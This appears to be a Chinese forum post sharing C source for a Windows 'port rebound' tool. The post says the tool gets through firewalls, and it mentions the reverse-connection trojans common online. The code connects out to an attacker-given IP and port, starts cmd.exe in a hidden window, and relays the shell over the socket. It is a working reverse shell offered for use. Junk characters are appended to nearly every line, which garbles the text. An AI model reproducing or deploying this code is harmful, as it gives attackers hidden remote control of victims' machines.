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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Na>?1F"KHk  
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/* ============================== YnwP\Arfq  
Rebound port in Windows NT r1AG1Y  
By wind,2006/7 `t Zw(Z=h  
===============================*/ }Oe9Zq  
#include !~a1xI~s  
#include ^<v]x; 3  
S1E=EVG  
#pragma comment(lib,"wsock32.lib") V"W)u#4,  
*S\/l-D  
void OutputShell(); MzCZj  
SOCKET sClient; t_{rKb,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B$&&'i%  
#]e](j>]  
void main(int argc,char **argv) ;`}b .S =n  
{ 0|OmQ\SQ  
WSADATA stWsaData; #( o(p  
int nRet; [a\>"I\[  
SOCKADDR_IN stSaiClient,stSaiServer; FW,@.CX  
BV512+M  
if(argc != 3) b(?A^ a  
{ +I_p\/J?w/  
printf("Useage:\n\rRebound DestIP DestPort\n"); @1tv/W  
return; }8?1)l  
} YN($rAkL  
dx[kG  
WSAStartup(MAKEWORD(2,2),&stWsaData);  FA#8  
Cl'3I%$8K  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cP &XkAQ  
{ , zg  
stSaiClient.sin_family = AF_INET; :Wmio\  
stSaiClient.sin_port = htons(0); [B"CNnA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q\{$&0McF  
a!*K)x,"<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i~;Yrc%AEX  
{ ~4C:2  
printf("Bind Socket Failed!\n"); bT#re  
return; vGI?X#w3  
} D?@e,e  
@g==U{k;t  
stSaiServer.sin_family = AF_INET; _do(   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <s(<ax30  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,]8$QFf  
Q(7M_2e7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )Qixde>]p  
{ [;8vO=Z  
printf("Connect Error!"); zx=AT  
return; M`gr*p  
} Yn1CU  
OutputShell(); Fc.1)yh.  
} V.12  
d}_%xkC  
void OutputShell() nk-V{']  
{ [SA$d`B/  
char szBuff[1024]; =VM4Q+'K  
SECURITY_ATTRIBUTES stSecurityAttributes; z9IJ%= R  
OSVERSIONINFO stOsversionInfo; ;'xd8Jf  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =EdLffU[J  
STARTUPINFO stStartupInfo; XbL\l  
char *szShell; /8tF7Mmr  
PROCESS_INFORMATION stProcessInformation; A3c&VT6Q  
unsigned long lBytesRead; 6<+8[o  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H_+F~P5RC  
.~ yz1^ c  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?~s23%E  
stSecurityAttributes.lpSecurityDescriptor = 0; *d;D~"E<@  
stSecurityAttributes.bInheritHandle = TRUE; }~3 %KHT  
v|K<3@J  
2[Q/|D}}|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L2m~ GnP|?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y~ ( <H e?  
~lB:xVzn  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EABy<i  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RmcQGQ  
stStartupInfo.wShowWindow = SW_HIDE; K^fH:pV  
stStartupInfo.hStdInput = hReadPipe; -+w^"RBV  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XVNJ3/  
GO=3<Q{;  
GetVersionEx(&stOsversionInfo); PDH00(#;+  
6m!%X GZ T  
switch(stOsversionInfo.dwPlatformId)  i%a jL  
{ ]f~mR_E  
case 1: qD?-&>dBWi  
szShell = "command.com"; =Zc Vywz;+  
break;  T%p/(  
default: )i{B:w\ ^  
szShell = "cmd.exe"; =(U&?1R4  
break; c<J/I_!  
} [r"`r Bw  
~Q/G_^U:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tW#=St0<.o  
KW5u.phv  
send(sClient,szMsg,77,0); L4C_qb k;:  
while(1) :w5p#+/,P  
{ Rr0@F`"R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r:*0)UZlD  
if(lBytesRead) %.3] F2_Q  
{ IoI ,IX]i)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 98^o9i  
send(sClient,szBuff,lBytesRead,0); %.+#e  
} =fZMute  
else >84:1 `  
{ AyUiX2=w1  
lBytesRead=recv(sClient,szBuff,1024,0); g0 NSy3t  
if(lBytesRead<=0) break; !1s^TB>N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _Bhm\|t  
} qe\JO'g#e  
} m:A1wL4c6  
GI40Ztms  
return; y8QJ=v* B  
}
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